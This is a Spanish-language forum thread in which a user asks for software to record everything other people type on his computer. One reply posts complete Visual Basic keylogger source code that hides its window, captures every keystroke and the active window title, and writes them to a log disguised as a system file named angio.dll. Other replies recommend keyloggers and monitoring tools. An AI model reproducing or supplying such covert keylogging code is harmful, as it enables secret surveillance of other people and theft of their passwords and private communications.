Autor
|
Tema: Programa para grabar todo lo que se escribe en la pc (Leído 55,697 veces)
|
Folker
Desconectado
Mensajes: 115
|
Holas...
Bueno gente... aca con una consulta, necesito un programa que guarde todo lo que se escribe en el ordenador, no quiero un troyano, porke es mi compu a la que quiero instalar algun programa que haga eso, como es mi ordenador me gustaria saber que acen las demas personas en ella... (por ciertos problemas que tnego es que lo necesito) se los agradeceria mucho si me recomiendan uno...
salu2
|
|
|
En línea
|
|
|
|
dantemc
Desconectado
Mensajes: 2.003
:D
|
un keylogger.
|
|
|
En línea
|
8-D
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Necesitas un keylogger, o más bien un programa de monitorización y vigilancia del uso de tu ordenador, los hay por todos lados Ejemplo: http://www.softonic.com/windows/seguridad-vigilancia Saludos
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD "Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein
|
|
|
IZAK ZONNAD
Desconectado
Mensajes: 4
|
Depende de cuales sean tus intenciones podrás encontrar programas que van desde "keylogger" fáciles de detectar y muy fáciles de instalar, hasta lo que es un puro keylogger de 10 que bajo mi punto de vista es lo mas interesante. Saludos y suerte!!
|
|
|
En línea
|
|
|
|
deicide
Desconectado
Mensajes: 2
|
Option Explicit Private Declare Function GetAsyncKeyState Lib "user32" _ (ByVal vKey As Long) As Integer Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private Declare Function GetForegroundWindow Lib "user32" () As Long
'los timer tm el value es 5 y el timer timer1 es 1 'inserta los controles segun su nombre es facil 'copia y pega en el editor visual basic 'abre el archivo c:\windows\system32\angio.dll con el block de notas 'despues copia lo que nesesites y borralo 'el programa lo creara de nuevo Private Sub Form_Load() Dim h On Error GoTo Fallo
h = GetAttr("C:\windows\system32\angio.dll") h = GetAttr("C:\windows\system32\angio2.dll") Form1.Hide Exit Sub
Fallo: Open "C:\windows\system32\angio.dll" For Output As #1 Close #1 Open "C:\windows\system32\angio2.dll" For Output As #1 Close #1 Form1.Hide
End Sub
Private Sub Label1_Click() End End Sub
Private Sub Timer1_Timer()
Open "C:\windows\system32\angio.dll" For Append As #1 Print #1, Now, L2.Caption, l1.Caption, L3.Caption, Text1.Text Close #1 Text1.Text = "" Timer1.Enabled = False
End Sub
Private Sub TM_Timer() Dim i As Integer, x As Integer, z
For i = 8 To 222 x = GetAsyncKeyState(i) If x = -32767 Then Select Case i Case vbKey0: Text1.Text = Text1.Text & "0" Case vbKey1: Text1.Text = Text1.Text & "1" Case vbKey2: Text1.Text = Text1.Text & "2" Case vbKey3: Text1.Text = Text1.Text & "3" Case vbKey4: Text1.Text = Text1.Text & "4" Case vbKey5: Text1.Text = Text1.Text & "5" Case vbKey6: Text1.Text = Text1.Text & "6" Case vbKey7: Text1.Text = Text1.Text & "7" Case vbKey8: Text1.Text = Text1.Text & "8" Case vbKey9: Text1.Text = Text1.Text & "9" Case vbKeyA: Text1.Text = Text1.Text & "A" Case vbKeyB: Text1.Text = Text1.Text & "B" Case vbKeyC: Text1.Text = Text1.Text & "C" Case vbKeyD: Text1.Text = Text1.Text & "D" Case vbKeyE: Text1.Text = Text1.Text & "E" Case vbKeyF: Text1.Text = Text1.Text & "F" Case vbKeyG: Text1.Text = Text1.Text & "G" Case vbKeyH: Text1.Text = Text1.Text & "H" Case vbKeyI: Text1.Text = Text1.Text & "I" Case vbKeyJ: Text1.Text = Text1.Text & "J" Case vbKeyK: Text1.Text = Text1.Text & "K" Case vbKeyL: Text1.Text = Text1.Text & "L" Case vbKeyM: Text1.Text = Text1.Text & "M" Case vbKeyN: Text1.Text = Text1.Text & "N" Case vbKeyO: Text1.Text = Text1.Text & "O" Case vbKeyP: Text1.Text = Text1.Text & "P" Case vbKeyQ: Text1.Text = Text1.Text & "Q" Case vbKeyR: Text1.Text = Text1.Text & "R" Case vbKeyS: Text1.Text = Text1.Text & "S" Case vbKeyT: Text1.Text = Text1.Text & "T" Case vbKeyU: Text1.Text = Text1.Text & "U" Case vbKeyV: Text1.Text = Text1.Text & "V" Case vbKeyW: Text1.Text = Text1.Text & "W" Case vbKeyX: Text1.Text = Text1.Text & "X" Case vbKeyY: Text1.Text = Text1.Text & "Y" Case vbKeyZ: Text1.Text = Text1.Text & "Z" Case vbKeyNumpad0: Text1.Text = Text1.Text & "0" Case vbKeyNumpad1: Text1.Text = Text1.Text & "1" Case vbKeyNumpad2: Text1.Text = Text1.Text & "2" Case vbKeyNumpad3: Text1.Text = Text1.Text & "3" Case vbKeyNumpad4: Text1.Text = Text1.Text & "4" Case vbKeyNumpad5: Text1.Text = Text1.Text & "5" Case vbKeyNumpad6: Text1.Text = Text1.Text & "6" Case vbKeyNumpad7: Text1.Text = Text1.Text & "7" Case vbKeyNumpad8: Text1.Text = Text1.Text & "8" Case vbKeyNumpad9: Text1.Text = Text1.Text & "9" Case vbKeyMultiply: Text1.Text = Text1.Text & "*" Case vbKeyAdd: Text1.Text = Text1.Text & "+" Case vbKeySeparator: Text1.Text = Text1.Text & " [<Intro>] " Case vbKeySubtract: Text1.Text = Text1.Text & "-" Case vbKeyDecimal: Text1.Text = Text1.Text & "." Case vbKeyDivide: Text1.Text = Text1.Text & "/" Case vbKeyDelete: Text1.Text = Text1.Text & " [<Suprimir>] " Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] " Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] " Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] " Case vbKeyMenu: Text1.Text = Text1.Text & " [<Menu>] " Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] " Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] " Case vbKeyEscape: Text1.Text = Text1.Text & " [<Escape>] " Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] " Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] " Case vbKeyEnd: Text1.Text = Text1.Text & " [<Fin>] " Case vbKeyHome: Text1.Text = Text1.Text & " [<Principio>] " Case vbKeySelect: Text1.Text = Text1.Text & " [Select] " Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] " Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] " Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] " Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] " Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] " Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] " Case vbKeySpace: Text1.Text = Text1.Text & " " End Select If i = vbKeyBack Then Timer1.Enabled = True If i = vbKeyDelete Then Timer1.Enabled = True If i = GetAsyncKeyState(1) = -32767 Then Timer1.Enabled = True If i = vbKeyReturn Then Dim Handle As Long, buffer As String Handle = GetForegroundWindow If Handle = 0 Then Exit Sub buffer = Space(255) Call GetWindowText(Handle, buffer, 255) buffer = Trim$(buffer) buffer = Left(buffer, Len(buffer) - 1) l1.Caption = buffer Timer1.Enabled = True Exit Sub End If End If Next End Sub
|
|
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
Option Explicit Private Declare Function GetAsyncKeyState Lib "user32" _ (ByVal vKey As Long) As Integer Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private Declare Function GetForegroundWindow Lib "user32" () As Long
Se supone que es un VBScript, o un módulo de Visual? Lo digo porque como VBS no funciona :/ Una pena, pintaba muy bien EDITO: lo siento moderadores me acabo de dar cuenta de que he seguido un post muerto
|
|
« Última modificación: 9 Diciembre 2011, 02:21 am por EleKtro H@cker »
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Programa para grabar tv
Multimedia
|
chiflon
|
2
|
2,518
|
15 Mayo 2004, 07:58 am
por Songoku
|
|
|
grabar en un CD mas de 700mb para poder hacer un todo en uno
Software
|
Delasierra45
|
4
|
4,351
|
4 Diciembre 2004, 08:38 am
por studio_2004
|
|
|
programa para grabar en un dvd
Multimedia
|
alapues
|
7
|
2,731
|
21 Mayo 2005, 12:15 pm
por Songoku
|
|
|
alguien conoce un programa para grabar cd ya utilisados con espacio para grabar
Software
|
ultraps
|
1
|
4,707
|
6 Mayo 2006, 05:23 am
por kines
|
|
|
Microsoft puede leer todo lo que se escribe en Skype
Noticias
|
wolfbcn
|
8
|
4,105
|
17 Mayo 2013, 04:40 am
por engel lex
|
|